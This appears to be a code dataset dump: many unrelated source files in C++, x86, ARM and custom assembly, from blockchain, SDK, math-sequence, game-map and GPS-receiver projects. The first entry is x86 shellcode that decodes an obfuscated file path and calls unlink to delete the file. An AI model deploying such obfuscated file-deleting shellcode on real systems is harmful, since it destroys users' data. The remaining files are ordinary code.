text
stringlengths
1
1.05M
global _start _start: jmp short call_shellcode shellcode: pop ebx xor eax,eax mov ecx,ebx restore_rol: cmp BYTE [ecx],al je end_of_string rol byte [ecx],2 inc ecx jmp restore_rol end_of_string: mov al,0x5 add al,0x5 int 0x80 mov al,0x1 int 0x80 call_shellcode: call shellcode filepath db 0xcb, 0x1a, 0xdb, 0x5b, 0x59,0xcb,0x58, 0xcb, 0x1d,0x59, 0xdc,0x1d,0x8b,0x1d,0x1e,0x1d,0x00 ;filepath is encoded version von "/home/a/test.txt". Every byte is rotated to the right by 2.
#include "config.h" [GLOBAL tss_flush] tss_flush: mov ax, GDT_TSS_SELECTOR ltr ax ret
//Copyright (c) 2017-2020 The PIVX developers //Copyright (c) 2020 The blockidcoin developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "blocksignature.h" #include "main.h" bool SignBlockWithKey(CBlock& block, const CKey& key) { if (!key.Sign(block.GetHash(), block.vchBlockSig)) return error("%s: failed to sign block hash with key", __func__); return true; } bool SignBlock(CBlock& block, const CKeyStore& keystore) { CKeyID keyID; if (block.IsProofOfWork()) { bool fFoundID = false; for (const CTxOut& txout :block.vtx[0].vout) { if (!txout.GetKeyIDFromUTXO(keyID)) continue; fFoundID = true; break; } if (!fFoundID) return error("%s: failed to find key for PoW", __func__); } else { if (!block.vtx[1].vout[1].GetKeyIDFromUTXO(keyID)) return error("%s: failed to find key for PoS", __func__); } CKey key; if (!keystore.GetKey(keyID, key)) return error("%s: failed to get key from keystore", __func__); return SignBlockWithKey(block, key); } bool CheckBlockSignature(const CBlock& block) { if (block.IsProofOfWork()) return block.vchBlockSig.empty(); if (block.vchBlockSig.empty()) return error("%s: vchBlockSig is empty!", __func__); /** * UTXO: The public key that signs must match the public key associated with the first utxo of the coinstake tx. */ CPubKey pubkey; txnouttype whichType; std::vector<valtype> vSolutions; const CTxOut& txout = block.vtx[1].vout[1]; if (!Solver(txout.scriptPubKey, whichType, vSolutions)) return false; if (whichType == TX_PUBKEY || whichType == TX_PUBKEYHASH) { valtype& vchPubKey = vSolutions[0]; pubkey = CPubKey(vchPubKey); } else if (whichType == TX_COLDSTAKE) { // pick the public key from the P2CS input const CTxIn& txin = block.vtx[1].vin[0]; int start = 1 + (int) *txin.scriptSig.begin(); // skip sig start += 1 + (int) *(txin.scriptSig.begin()+start); // skip flag pubkey = CPubKey(txin.scriptSig.begin()+start+1, txin.scriptSig.end()); } if (!pubkey.IsValid()) return error("%s: invalid pubkey %s", __func__, HexStr(pubkey)); return pubkey.Verify(block.GetHash(), block.vchBlockSig); }
// Copyright (c) 2006-2018 Maxim Khizhinsky // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE or copy at http://www.boost.org/LICENSE_1_0.txt) #include "map_minmax.h" namespace map { size_t Map_MinMax::s_nMapSize = 50000; size_t Map_MinMax::s_nInsThreadCount = 4; size_t Map_MinMax::s_nExtractThreadCount = 4; size_t Map_MinMax::s_nPassCount = 1000; size_t Map_MinMax::s_nFeldmanMap_HeadBits = 8; size_t Map_MinMax::s_nFeldmanMap_ArrayBits = 8; void Map_MinMax::SetUpTestCase() { cds_test::config const& cfg = get_config( "map_minmax" ); s_nMapSize = cfg.get_size_t( "MapSize", s_nMapSize ); if ( s_nMapSize < 1000 ) s_nMapSize = 1000; s_nInsThreadCount = cfg.get_size_t( "InsThreadCount", s_nInsThreadCount ); if ( s_nInsThreadCount == 0 ) s_nInsThreadCount = 1; s_nExtractThreadCount = cfg.get_size_t( "ExtractThreadCount", s_nExtractThreadCount ); if ( s_nExtractThreadCount ) s_nExtractThreadCount = 1; s_nPassCount = cfg.get_size_t( "PassCount", s_nPassCount ); if ( s_nPassCount == 0 ) s_nPassCount = 100; s_nFeldmanMap_HeadBits = cfg.get_size_t( "FeldmanMapHeadBits", s_nFeldmanMap_HeadBits ); if ( s_nFeldmanMap_HeadBits == 0 ) s_nFeldmanMap_HeadBits = 4; s_nFeldmanMap_ArrayBits = cfg.get_size_t( "FeldmanMapArrayBits", s_nFeldmanMap_ArrayBits ); if ( s_nFeldmanMap_ArrayBits == 0 ) s_nFeldmanMap_ArrayBits = 4; } } // namespace map
CeladonMansion1F_Object: db $f ; border block db 5 ; warps warp 4, 11, 2, -1 warp 5, 11, 2, -1 warp 4, 0, 4, -1 warp 7, 1, 1, CELADON_MANSION_2F warp 2, 1, 2, CELADON_MANSION_2F db 1 ; signs sign 4, 9, 5 ; CeladonMansion1Text5 db 4 ; objects object SPRITE_SLOWBRO, 0, 5, STAY, RIGHT, 1 ; person object SPRITE_OLD_MEDIUM_WOMAN, 1, 5, STAY, DOWN, 2 ; person object SPRITE_CLEFAIRY, 1, 8, WALK, 2, 3 ; person object SPRITE_SLOWBRO, 4, 4, WALK, 1, 4 ; person ; warp-to warp_to 4, 11, CELADON_MANSION_1F_WIDTH warp_to 5, 11, CELADON_MANSION_1F_WIDTH warp_to 4, 0, CELADON_MANSION_1F_WIDTH warp_to 7, 1, CELADON_MANSION_1F_WIDTH ; CELADON_MANSION_2F warp_to 2, 1, CELADON_MANSION_1F_WIDTH ; CELADON_MANSION_2F
/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <tencentcloud/ms/v20180408/model/DescribeShieldResultResponse.h> #include <tencentcloud/core/utils/rapidjson/document.h> #include <tencentcloud/core/utils/rapidjson/writer.h> #include <tencentcloud/core/utils/rapidjson/stringbuffer.h> using TencentCloud::CoreInternalOutcome; using namespace TencentCloud::Ms::V20180408::Model; using namespace std; DescribeShieldResultResponse::DescribeShieldResultResponse() : m_taskStatusHasBeenSet(false), m_appDetailInfoHasBeenSet(false), m_shieldInfoHasBeenSet(false), m_statusDescHasBeenSet(false), m_statusRefHasBeenSet(false) { } CoreInternalOutcome DescribeShieldResultResponse::Deserialize(const string &payload) { rapidjson::Document d; d.Parse(payload.c_str()); if (d.HasParseError() || !d.IsObject()) { return CoreInternalOutcome(Core::Error("response not json format")); } if (!d.HasMember("Response") || !d["Response"].IsObject()) { return CoreInternalOutcome(Core::Error("response `Response` is null or not object")); } rapidjson::Value &rsp = d["Response"]; if (!rsp.HasMember("RequestId") || !rsp["RequestId"].IsString()) { return CoreInternalOutcome(Core::Error("response `Response.RequestId` is null or not string")); } string requestId(rsp["RequestId"].GetString()); SetRequestId(requestId); if (rsp.HasMember("Error")) { if (!rsp["Error"].IsObject() || !rsp["Error"].HasMember("Code") || !rsp["Error"]["Code"].IsString() || !rsp["Error"].HasMember("Message") || !rsp["Error"]["Message"].IsString()) { return CoreInternalOutcome(Core::Error("response `Response.Error` format error").SetRequestId(requestId)); } string errorCode(rsp["Error"]["Code"].GetString()); string errorMsg(rsp["Error"]["Message"].GetString()); return CoreInternalOutcome(Core::Error(errorCode, errorMsg).SetRequestId(requestId)); } if (rsp.HasMember("TaskStatus") && !rsp["TaskStatus"].IsNull()) { if (!rsp["TaskStatus"].IsUint64()) { return CoreInternalOutcome(Core::Error("response `TaskStatus` IsUint64=false incorrectly").SetRequestId(requestId)); } m_taskStatus = rsp["TaskStatus"].GetUint64(); m_taskStatusHasBeenSet = true; } if (rsp.HasMember("AppDetailInfo") && !rsp["AppDetailInfo"].IsNull()) { if (!rsp["AppDetailInfo"].IsObject()) { return CoreInternalOutcome(Core::Error("response `AppDetailInfo` is not object type").SetRequestId(requestId)); } CoreInternalOutcome outcome = m_appDetailInfo.Deserialize(rsp["AppDetailInfo"]); if (!outcome.IsSuccess()) { outcome.GetError().SetRequestId(requestId); return outcome; } m_appDetailInfoHasBeenSet = true; } if (rsp.HasMember("ShieldInfo") && !rsp["ShieldInfo"].IsNull()) { if (!rsp["ShieldInfo"].IsObject()) { return CoreInternalOutcome(Core::Error("response `ShieldInfo` is not object type").SetRequestId(requestId)); } CoreInternalOutcome outcome = m_shieldInfo.Deserialize(rsp["ShieldInfo"]); if (!outcome.IsSuccess()) { outcome.GetError().SetRequestId(requestId); return outcome; } m_shieldInfoHasBeenSet = true; } if (rsp.HasMember("StatusDesc") && !rsp["StatusDesc"].IsNull()) { if (!rsp["StatusDesc"].IsString()) { return CoreInternalOutcome(Core::Error("response `StatusDesc` IsString=false incorrectly").SetRequestId(requestId)); } m_statusDesc = string(rsp["StatusDesc"].GetString()); m_statusDescHasBeenSet = true; } if (rsp.HasMember("StatusRef") && !rsp["StatusRef"].IsNull()) { if (!rsp["StatusRef"].IsString()) { return CoreInternalOutcome(Core::Error("response `StatusRef` IsString=false incorrectly").SetRequestId(requestId)); } m_statusRef = string(rsp["StatusRef"].GetString()); m_statusRefHasBeenSet = true; } return CoreInternalOutcome(true); } string DescribeShieldResultResponse::ToJsonString() const { rapidjson::Document value; value.SetObject(); rapidjson::Document::AllocatorType& allocator = value.GetAllocator(); if (m_taskStatusHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "TaskStatus"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, m_taskStatus, allocator); } if (m_appDetailInfoHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "AppDetailInfo"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(rapidjson::kObjectType).Move(), allocator); m_appDetailInfo.ToJsonObject(value[key.c_str()], allocator); } if (m_shieldInfoHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "ShieldInfo"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(rapidjson::kObjectType).Move(), allocator); m_shieldInfo.ToJsonObject(value[key.c_str()], allocator); } if (m_statusDescHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "StatusDesc"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_statusDesc.c_str(), allocator).Move(), allocator); } if (m_statusRefHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "StatusRef"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_statusRef.c_str(), allocator).Move(), allocator); } rapidjson::Value iKey(rapidjson::kStringType); string key = "RequestId"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value().SetString(GetRequestId().c_str(), allocator), allocator); rapidjson::StringBuffer buffer; rapidjson::Writer<rapidjson::StringBuffer> writer(buffer); value.Accept(writer); return buffer.GetString(); } uint64_t DescribeShieldResultResponse::GetTaskStatus() const { return m_taskStatus; } bool DescribeShieldResultResponse::TaskStatusHasBeenSet() const { return m_taskStatusHasBeenSet; } AppDetailInfo DescribeShieldResultResponse::GetAppDetailInfo() const { return m_appDetailInfo; } bool DescribeShieldResultResponse::AppDetailInfoHasBeenSet() const { return m_appDetailInfoHasBeenSet; } ShieldInfo DescribeShieldResultResponse::GetShieldInfo() const { return m_shieldInfo; } bool DescribeShieldResultResponse::ShieldInfoHasBeenSet() const { return m_shieldInfoHasBeenSet; } string DescribeShieldResultResponse::GetStatusDesc() const { return m_statusDesc; } bool DescribeShieldResultResponse::StatusDescHasBeenSet() const { return m_statusDescHasBeenSet; } string DescribeShieldResultResponse::GetStatusRef() const { return m_statusRef; } bool DescribeShieldResultResponse::StatusRefHasBeenSet() const { return m_statusRefHasBeenSet; }
; A255435: Product_{k=0..n} (k^5+1). ; 1,2,66,16104,16506600,51599631600,401290334953200,6744887949893385600,221023233230056352726400,13051421922234827628493920000,1305155243645404997677020493920000 mov $2,1 lpb $0 mov $1,$0 sub $0,1 pow $1,5 add $1,1 mul $2,$1 lpe mov $0,$2
.text .syntax unified .eabi_attribute 67, "2.09" @ Tag_conformance .cpu arm1156t2f-s .eabi_attribute 6, 8 @ Tag_CPU_arch .eabi_attribute 8, 1 @ Tag_ARM_ISA_use .eabi_attribute 9, 2 @ Tag_THUMB_ISA_use .fpu vfpv2 .eabi_attribute 17, 1 @ Tag_ABI_PCS_GOT_use .eabi_attribute 20, 1 @ Tag_ABI_FP_denormal .eabi_attribute 21, 1 @ Tag_ABI_FP_exceptions .eabi_attribute 23, 3 @ Tag_ABI_FP_number_model .eabi_attribute 34, 1 @ Tag_CPU_unaligned_access .eabi_attribute 24, 1 @ Tag_ABI_align_needed .eabi_attribute 25, 1 @ Tag_ABI_align_preserved .eabi_attribute 38, 1 @ Tag_ABI_FP_16bit_format .eabi_attribute 18, 4 @ Tag_ABI_PCS_wchar_t .eabi_attribute 26, 2 @ Tag_ABI_enum_size .eabi_attribute 14, 0 @ Tag_ABI_PCS_R9_use .file "gobmk.barriers.autohelperbarrierspat145.ll" .hidden autohelperbarrierspat145 .globl autohelperbarrierspat145 .align 1 .type autohelperbarrierspat145,%function .code 16 @ @autohelperbarrierspat145 .thumb_func autohelperbarrierspat145: .fnstart @ BB#0: .save {r4, r5, r6, r7, lr} push {r4, r5, r6, r7, lr} .setfp r7, sp, #12 add r7, sp, #12 .pad #4 sub sp, #4 mov r4, r2 mov r5, r1 movw r1, :lower16:transformation movt r1, :upper16:transformation add.w r0, r1, r0, lsl #2 movw r1, #19552 ldr r1, [r0, r1] mov.w r2, #20736 ldr r6, [r0, r2] adds r0, r1, r5 mov r1, r4 bl influence_mark_non_territory adds r0, r6, r5 mov r1, r4 bl influence_mark_non_territory movs r0, #0 add sp, #4 pop {r4, r5, r6, r7, pc} .Lfunc_end0: .size autohelperbarrierspat145, .Lfunc_end0-autohelperbarrierspat145 .cantunwind .fnend .ident "clang version 3.8.0 (http://llvm.org/git/clang.git 2d49f0a0ae8366964a93e3b7b26e29679bee7160) (http://llvm.org/git/llvm.git 60bc66b44837125843b58ed3e0fd2e6bb948d839)" .section ".note.GNU-stack","",%progbits .eabi_attribute 30, 2 @ Tag_ABI_optimization_goals
; Copyright 2016 Philipp Oppermann. See the README.md ; file at the top-level directory of this distribution. ; ; Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or ; http://www.apache.org/licenses/LICENSE-2.0> or the MIT license ; <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your ; option. This file may not be copied, modified, or distributed ; except according to those terms. section .multiboot_header header_start: dd 0xe85250d6 ; magic number (multiboot 2) dd 0 ; architecture 0 (protected mode i386) dd header_end - header_start ; header length ; checksum dd 0x100000000 - (0xe85250d6 + 0 + (header_end - header_start)) ; insert optional multiboot tags here ; required end tag dw 0 ; type dw 0 ; flags dd 8 ; size header_end:
/* * Copyright (c) 2012, Michael Lehn, Klaus Pototzky * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1) Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2) Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3) Neither the name of the FLENS development group nor the names of * its contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef CXXLAPACK_INTERFACE_LACON_TCC #define CXXLAPACK_INTERFACE_LACON_TCC 1 #include <iostream> #include "xflens/cxxlapack/interface/interface.h" #include "xflens/cxxlapack/netlib/netlib.h" namespace cxxlapack { template <typename IndexType> void lacon(IndexType n, float *v, float *x, IndexType *isgn, float &est, IndexType &kase) { CXXLAPACK_DEBUG_OUT("slacon"); LAPACK_IMPL(slacon)(&n, v, x, isgn, &est, &kase); } template <typename IndexType> void lacon(IndexType n, double *v, double *x, IndexType *isgn, double &est, IndexType &kase) { CXXLAPACK_DEBUG_OUT("dlacon"); LAPACK_IMPL(dlacon)(&n, v, x, isgn, &est, &kase); } template <typename IndexType> void lacon(IndexType n, std::complex<float > *v, std::complex<float > *x, float &est, IndexType &kase) { CXXLAPACK_DEBUG_OUT("clacon"); LAPACK_IMPL(clacon)(&n, reinterpret_cast<float *>(v), reinterpret_cast<float *>(x), &est, &kase); } template <typename IndexType> void lacon(IndexType n, std::complex<double> *v, std::complex<double> *x, double &est, IndexType &kase) { CXXLAPACK_DEBUG_OUT("zlacon"); LAPACK_IMPL(zlacon)(&n, reinterpret_cast<double *>(v), reinterpret_cast<double *>(x), &est, &kase); } } // namespace cxxlapack #endif // CXXLAPACK_INTERFACE_LACON_TCC
TITLE Integer Summation Program (Sum_main.asm) ; Multimodule example: (main module) ; This program inputs multiple integers from the user, ; stores them in an array, calculates the sum of the ; array, and displays the sum. ; Last update: 8/29/01 INCLUDE sum.inc ; modify Count to change the size of the array: Count = 3 .data prompt1 BYTE "Enter a signed integer: ",0 prompt2 BYTE "The sum of the integers is: ",0 array DWORD Count DUP(?) sum DWORD ? .code main PROC call Clrscr INVOKE PromptForIntegers, ; input the array ADDR prompt1, ADDR array, Count INVOKE ArraySum, ; sum the array ADDR array, ; (returns sum in EAX) Count mov sum,eax ; save the sum INVOKE DisplaySum, ; display the sum ADDR prompt2, sum call Crlf INVOKE ExitProcess,0 main ENDP END main
; A199487: 9*7^n+1. ; 10,64,442,3088,21610,151264,1058842,7411888,51883210,363182464,2542277242,17795940688,124571584810,872001093664,6104007655642,42728053589488,299096375126410,2093674625884864,14655722381194042 add $0,4 mov $1,2 sub $0,3 lpb $0,1 mul $1,2 add $4,$1 mov $1,$4 sub $2,2 add $1,2 mov $4,$1 sub $2,$3 sub $2,4 mov $3,4 mul $4,2 sub $0,1 sub $3,1 sub $4,2 add $4,$2 mov $2,$4 mul $3,2 mov $1,$4 add $2,4 lpe
; A011863: Nearest integer to (n/2)^4. ; 0,0,1,5,16,39,81,150,256,410,625,915,1296,1785,2401,3164,4096,5220,6561,8145,10000,12155,14641,17490,20736,24414,28561,33215,38416,44205,50625,57720,65536,74120,83521,93789,104976,117135,130321,144590,160000,176610,194481,213675,234256,256289,279841,304980,331776,360300,390625,422825,456976,493155,531441,571914,614656,659750,707281,757335,810000,865365,923521,984560,1048576,1115664,1185921,1259445,1336336,1416695,1500625,1588230,1679616,1774890,1874161,1977539,2085136,2197065,2313441,2434380 pow $0,4 div $0,16
#ifndef SRC_SUBSCRIPTION_HPP_ #define SRC_SUBSCRIPTION_HPP_ #include <common/api/guard.hpp> #include <functional> #include <vector> class Subscription : public guarded { }; using tSubscriptionList = std::vector<Subscription>; template <typename PAYLOAD> class Attribute { public: using tCallback = std::function<void (const PAYLOAD &)>; public: Attribute (); Subscription subscribe (tCallback &&cb) { return subscribe (cb); }; Subscription subscribe (tCallback &cb) { Subscription subscription; subscriptions.emplace_back (std::make_pair (subscription.getGuard (), cb)); return subscription; } private: std::vector<std::pair<guard, tCallback> > subscriptions; }; #endif /* SRC_SUBSCRIPTION_HPP_ */
// Copyright (c) 2019 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <qt/walletcontroller.h> #include <interfaces/handler.h> #include <interfaces/node.h> #include <algorithm> #include <QMessageBox> #include <QMutexLocker> #include <QThread> WalletController::WalletController(interfaces::Node& node, const PlatformStyle* platform_style, OptionsModel* options_model, QObject* parent) : QObject(parent) , m_node(node) , m_platform_style(platform_style) , m_options_model(options_model) { m_handler_load_wallet = m_node.handleLoadWallet([this](std::unique_ptr<interfaces::Wallet> wallet) { getOrCreateWallet(std::move(wallet)); }); for (std::unique_ptr<interfaces::Wallet>& wallet : m_node.getWallets()) { getOrCreateWallet(std::move(wallet)); } m_activity_thread.start(); } // Not using the default destructor because not all member types definitions are // available in the header, just forward declared. WalletController::~WalletController() { m_activity_thread.quit(); m_activity_thread.wait(); } std::vector<WalletModel*> WalletController::getWallets() const { QMutexLocker locker(&m_mutex); return m_wallets; } std::vector<std::string> WalletController::getWalletsAvailableToOpen() const { QMutexLocker locker(&m_mutex); std::vector<std::string> wallets = m_node.listWalletDir(); for (WalletModel* wallet_model : m_wallets) { auto it = std::remove(wallets.begin(), wallets.end(), wallet_model->wallet().getWalletName()); if (it != wallets.end()) wallets.erase(it); } return wallets; } OpenWalletActivity* WalletController::openWallet(const std::string& name, QWidget* parent) { OpenWalletActivity* activity = new OpenWalletActivity(this, name); activity->moveToThread(&m_activity_thread); QMetaObject::invokeMethod(activity, "open", Qt::QueuedConnection); return activity; } void WalletController::closeWallet(WalletModel* wallet_model, QWidget* parent) { QMessageBox box(parent); box.setWindowTitle(tr("Close wallet")); box.setText(tr("Are you sure you wish to close wallet <i>%1</i>?").arg(wallet_model->getDisplayName())); box.setInformativeText(tr("Closing the wallet for too long can result in having to resync the entire chain if pruning is enabled.")); box.setStandardButtons(QMessageBox::Yes|QMessageBox::Cancel); box.setDefaultButton(QMessageBox::Yes); if (box.exec() != QMessageBox::Yes) return; // First remove wallet from node. wallet_model->wallet().remove(); // Now release the model. removeAndDeleteWallet(wallet_model); } WalletModel* WalletController::getOrCreateWallet(std::unique_ptr<interfaces::Wallet> wallet) { QMutexLocker locker(&m_mutex); // Return model instance if exists. if (!m_wallets.empty()) { std::string name = wallet->getWalletName(); for (WalletModel* wallet_model : m_wallets) { if (wallet_model->wallet().getWalletName() == name) { return wallet_model; } } } // Instantiate model and register it. WalletModel* wallet_model = new WalletModel(std::move(wallet), m_node, m_platform_style, m_options_model, nullptr); m_wallets.push_back(wallet_model); connect(wallet_model, &WalletModel::unload, [this, wallet_model] { removeAndDeleteWallet(wallet_model); }); // Re-emit coinsSent signal from wallet model. //TODO(stevenroose) fix //connect(wallet_model, &WalletModel::coinsSent, this, &WalletController::coinsSent); // Notify walletAdded signal on the GUI thread. if (QThread::currentThread() == thread()) { addWallet(wallet_model); } else { // Handler callback runs in a different thread so fix wallet model thread affinity. wallet_model->moveToThread(thread()); QMetaObject::invokeMethod(this, "addWallet", Qt::QueuedConnection, Q_ARG(WalletModel*, wallet_model)); } return wallet_model; } void WalletController::addWallet(WalletModel* wallet_model) { // Take ownership of the wallet model and register it. wallet_model->setParent(this); Q_EMIT walletAdded(wallet_model); } void WalletController::removeAndDeleteWallet(WalletModel* wallet_model) { // Unregister wallet model. { QMutexLocker locker(&m_mutex); m_wallets.erase(std::remove(m_wallets.begin(), m_wallets.end(), wallet_model)); } Q_EMIT walletRemoved(wallet_model); // Currently this can trigger the unload since the model can hold the last // CWallet shared pointer. delete wallet_model; } OpenWalletActivity::OpenWalletActivity(WalletController* wallet_controller, const std::string& name) : m_wallet_controller(wallet_controller) , m_name(name) {} void OpenWalletActivity::open() { std::string error, warning; std::unique_ptr<interfaces::Wallet> wallet = m_wallet_controller->m_node.loadWallet(m_name, error, warning); if (!warning.empty()) { Q_EMIT message(QMessageBox::Warning, QString::fromStdString(warning)); } if (wallet) { Q_EMIT opened(m_wallet_controller->getOrCreateWallet(std::move(wallet))); } else { Q_EMIT message(QMessageBox::Critical, QString::fromStdString(error)); } Q_EMIT finished(); }
/* 69. Sqrt(x) Implement int sqrt(int x). Compute and return the square root of x, where x is guaranteed to be a non-negative integer. Since the return type is an integer, the decimal digits are truncated and only the integer part of the result is returned. Example 1: Input: 4 Output: 2 Example 2: Input: 8 Output: 2 Explanation: The square root of 8 is 2.82842..., and since the decimal part is truncated, 2 is returned. */ class Solution { public: int mySqrt(int x) { long r = x; while(r*r>x){ r = (r+ x/r)/2; } return r; } }; /* 下面的解是rejected, 因为可能r是奇数, x/r也是奇数, r/2 + x/r/2 损失了一位数的精度, 比如 25, 12,7,4 x = 25/2 + 25/25/2 = 12 x = 12/2 + 25/12/2 = 6 + 1 = 7 x = 7/2 + 25/7/2 = 3 + 3/2 = 4 但是假如 r = (r+ x/r)/2; x = (7 + 25/7)/2 = (7 + 3)/2 = 不会损失精度 */ class Solution { public: int mySqrt(int x) { long r = x; while(r*r>x){ r = r/2 + x/r/2; //cout<<"r "<<r<<endl; } return r; } }; class Solution { public: int mySqrt(int x) { if (x == 0) return 0; int start = 1, end = x; while (start < end) { int mid = start + (end - start) / 2; if (mid <= x / mid && (mid + 1) > x / (mid + 1))// Found the result return mid; else if (mid > x / mid)// Keep checking the left part end = mid; else start = mid + 1;// Keep checking the right part } return start; } }; class Solution { public: int mySqrt(int x) { int low = 0, high = x, mid; if(x<2) return x; // to avoid mid = 0 while(low<high) { mid = (low + high)/2; if(x/mid >= mid) low = mid+1; else high = mid; } return high-1; //返回low 是错的, 比如8, low = 3, high = 3 } }; class Solution { public: int mySqrt(int x) { if (0 == x) return 0; int left = 1, right = x, ans; while (left <= right) { int mid = left + (right - left) / 2; if (mid <= x / mid) { left = mid + 1; ans = mid; } else { right = mid - 1; } } return ans; } }; class Solution { public: int mySqrt(int x) { long lo = 0, hi = x; //用long, 避免overflow while (lo <= hi){ long mid = (lo + hi) / 2; if (mid * mid > x) hi = mid - 1; else if(mid * mid < x) lo = mid + 1; else return mid; } // When there is no perfect square, hi is the the value on the left // of where it would have been (rounding down). If we were rounding up, // we would return lo return hi; } }; /* Bit Solution: O(logn) Since sqrt(x) is composed of binary bits, I calculate sqrt(x) by deciding every bit from the most significant to least significant. Since an integer n can have O(log n) bits with each bit decided within constant time, this algorithm has time limit O(log n), actually, because an Integer can have at most 32 bits, I can also say this algorithm takes O(32)=O(1) time. */ class Solution { public: int mySqrt(int x) { if(x==0) return 0; int h=0; while((long)(1<<h)*(long)(1<<h)<=x) // firstly, find the most significant bit h++; h--; int b=h-1; int res=(1<<h); while(b>=0){ // find the remaining bits if((long)(res | (1<<b))*(long)(res |(1<<b))<=x) res|=(1<<b); b--; } return res; } };
#include <wfc/module/module_list.hpp> #include "example_package.hpp" #include "core/core_module.hpp" #include "example/example_module.hpp" #include "example_build_info.h" namespace { struct impl: wfc::module_list< example_build_info, core_module, example_module > { }; } example_package::example_package() : wfc::package(std::make_shared<impl>()) { }
; ============================================================================ ; Homemade GPS Receiver ; Copyright (C) 2013 Andrew Holme ; ; This program is free software: you can redistribute it and/or modify ; it under the terms of the GNU General Public License as published by ; the Free Software Foundation, either version 3 of the License, or ; (at your option) any later version. ; ; This program is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ; GNU General Public License for more details. ; ; You should have received a copy of the GNU General Public License ; along with this program. If not, see <http://www.gnu.org/licenses/>. ; ; http://www.holmea.demon.co.uk/GPS/Main.htm ; ============================================================================ ; Copyright (c) 2014-2016 John Seamons, ZL/KF6VO ; ============================================================================ ; receiver ; ============================================================================ nrx_samps: u16 0 #if SND_SEQ_CHECK rx_seq: u16 0 #endif // called at audio buffer flip rate (i.e. every NRX_SAMPS audio samples) RX_Buffer: // if nrx_samps has not been set yet hardware will not interrupt at correct rate push nrx_samps fetch16 brZ not_init push CTRL_SND_INTR call ctrl_set ; signal the interrupt #if SND_SEQ_CHECK // increment seq push rx_seq incr16 pop #endif not_init: ret CmdGetRX: rdReg HOST_RX ; nrx_samps_rem rdReg HOST_RX ; nrx_samps_rem nrx_samps_loop wrEvt HOST_RST push CTRL_SND_INTR call ctrl_clr ; clear the interrupt as a side-effect #if SND_SEQ_CHECK push rx_seq ; &rx_seq fetch16 ; rx_seq push 0x0ff0 wrReg HOST_TX wrReg HOST_TX #endif ; cnt = nrx_samps_loop rx_loop: ; cnt REPEAT NRX_SAMPS_RPT wrEvt2 GET_RX_SAMP ; move i wrEvt2 GET_RX_SAMP ; move q wrEvt2 GET_RX_SAMP ; move iq3 ENDR push 1 ; cnt 1 sub ; cnt-- dup brNZ rx_loop pop ; cnt = nrx_samps_rem // NB: nrx_samps_rem can be zero on entry -- that is why test is at top of loop rx_tail: ; cnt dup brNZ rx_tail2 pop wrEvt2 GET_RX_SAMP ; move ticks[3] wrEvt2 GET_RX_SAMP wrEvt2 GET_RX_SAMP wrEvt2 GET_RX_SAMP ; move stored buffer counter wrEvt2 RX_GET_BUF_CTR ; move current buffer counter ret rx_tail2: wrEvt2 GET_RX_SAMP ; move i wrEvt2 GET_RX_SAMP ; move q wrEvt2 GET_RX_SAMP ; move iq3 push 1 ; cnt 1 sub ; cnt-- br rx_tail CmdSetRXNsamps: rdReg HOST_RX ; nsamps dup push nrx_samps store16 pop ; nsamps FreezeTOS wrReg2 SET_RX_NSAMPS ; wrEvt2 RX_BUFFER_RST ; reset read/write pointers, buffer counter ret CmdSetRXFreq: rdReg HOST_RX ; rx# wrReg2 SET_RX_CHAN ; RdReg32 HOST_RX ; freqH FreezeTOS wrReg2 SET_RX_FREQ ; B2B_FreezeTOS ; delay so back-to-back FreezeTOS works rdReg HOST_RX ; freqL FreezeTOS wrReg2 SET_RX_FREQ_L ; ret CmdClrRXOvfl: 